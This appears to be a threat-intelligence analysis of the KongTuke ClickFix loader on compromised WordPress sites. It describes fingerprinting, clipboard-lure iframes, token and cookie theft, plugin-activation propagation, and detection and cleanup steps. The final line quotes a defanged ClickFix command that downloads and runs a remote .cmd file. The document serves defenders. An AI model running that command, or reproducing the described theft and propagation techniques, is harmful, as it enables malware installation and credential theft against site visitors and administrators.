KongTuke ClickFix kit

From fake updates to ClickFix

Group-IB researchers first identified KongTuke in May 2024, according to LevelBlue. Red Canary describes the campaign as a traffic-distribution system that moved from fake browser updates to ClickFix lures on compromised WordPress sites.

The code we track is the loader placed on those sites. We have captured it as a script from a separate host and at the same-origin path /asset-cache/fjs, where it resembles an ordinary cached asset.

Caching plugins rewrite the tag. We have found it delayed by a performance plugin, rewritten as WP Rocket's data-rocket-src and written with the site's full address. On 8 November 2026 one site carrying it also had a hidden frame to a DarkSword gate for iPhones.

The visitor is measured before the frame opens

The loader inventories the browser before asking its controller for content. Captured fields include the user agent, screen and colour settings, languages, time zone, plugins, touch support, automation signals, a canvas value and the WebGL renderer and vendor. It also solves a small proof-of-work challenge and waits long enough to make the exchange look like a completed browser check. Adamnet's analysis documents the same fingerprint, proof-of-work and timing sequence.

The request also carries the page hostname, referrer and campaign parameters. If the controller accepts the visitor, the response supplies encoded HTML and a command token. The loader decodes the page into a full-screen srcdoc iframe with clipboard permission. The frame and parent exchange messages, poll for the command, attempt both modern and fallback clipboard writes, and report events such as a click or successful copy.

A build captured on 10 October 2026 opens a blank "Just a moment..." frame before that exchange completes. Rejected visitors have the frame removed, while accepted visitors continue into the selected lure.

A readable build with hashed routes

From 8 November 2026 we also capture a readable build of about 12.7 KB. Compromised sites serve it at /asset-cache/fjs, and operator hosts serve it as a script with an eight-character random name, such as /izrwt4zr.js, on throwaway domains under .lol, .surf, .club and .icu. Each response opens with a different 32-character hex comment, so the file's hash changes with every download.

A table at the top holds its six routes, each /api/v1/ and seven hex characters: session, verify, status, telemetry, pixel and loot. The session route is /api/v1/3295abb in the build we see most, and we have seen three different tables. The verify response carries the lure page XOR-encoded, and with it the ClickFix runtime, also XOR-encoded. The loader gives the runtime its token and its status and telemetry addresses in window.__cfxCmd, and the runtime fetches the command from the status route, so the loader never contains it.

The build reads cookies and every storage value with a token-like name on each page load, whether or not the visitor is an administrator, and posts any it finds to the loot route.

A later build attempts plugin installation

The 10 October 2026 build adds code for a same-origin WordPress path. Its routine requests the administration and plugin-upload pages, extracts the upload nonce, retrieves a plugin archive, then submits and activates it through the visitor's existing session.

The delivered invocation tries to read a variable outside the function where it was declared. That raises a ReferenceError before the upload, and an empty catch hides the failure. The captured build therefore carries the attempted propagation route but cannot complete it.

Builds we captured on 8 November 2026 still carry the routine. A 17 KB build calls it once per browser tab, marking _pv1 in session storage, with the archive at /p/wm.zip on an operator host. The call passes bp, a variable declared inside another function, so it fails the same way, and so does the token-theft call beside it. The readable build has the same routine as pivot() and never calls it.

Builds we have matched since 21 September 2026 do the same work in a different way, and complete it. When an administrator opens a page carrying /asset-cache/fjs, the script reads plugins.php, takes the nonce from a plugin's Activate link and activates that plugin. It then reads every localStorage and sessionStorage entry whose name contains token, jwt, auth, key, api, secret, session, bearer or csrf, and posts them with the cookies to /asset-cache/api/v1/<id> on the same site.

What we see

Month	New sites
September	33
October	19
November so far	405

Of the 22 sites recaptured at least 25 days after their first match, 18 were still serving KongTuke (82%). 99% of KongTuke sites captured since 25 September run WordPress.

Tracing KongTuke on a site

Inspect the logged-out HTML, JavaScript and network log for:

• an unexpected script at /asset-cache/fjs, including a copy a caching plugin has delayed or moved into data-rocket-src
• one script collecting canvas, WebGL, plugin and automation values together
• a proof-of-work loop followed by a delayed controller request
• a full-screen srcdoc iframe with allow="clipboard-write"
• parent-frame messages, command polling and clipboard fallbacks
• front-end code for WordPress administration, plugin upload and activation requests
• requests to /asset-cache/api/v1/ carrying storage values and cookies
• requests to /api/v1/ paths ending in seven hex characters, or a window.__cfxCmd object in a frame
• a request for /p/wm.zip on another host

Check both logged-out and administrator sessions, then remove the injected script and cached copies of the affected assets. If an administrator loaded the page, check the plugin list for one you did not activate, and rotate the sessions and API keys the browser held for the site.

cmd /c timeout /t 1 >nul&curl.exe -sSL --http1.1 --ssl-no-revoke --max-time 90 -o %TMP%\z.cmd hxxps://syncservice9638[.]com/ue/c/Hu146SuZ <nul&%TMP%\z.cmd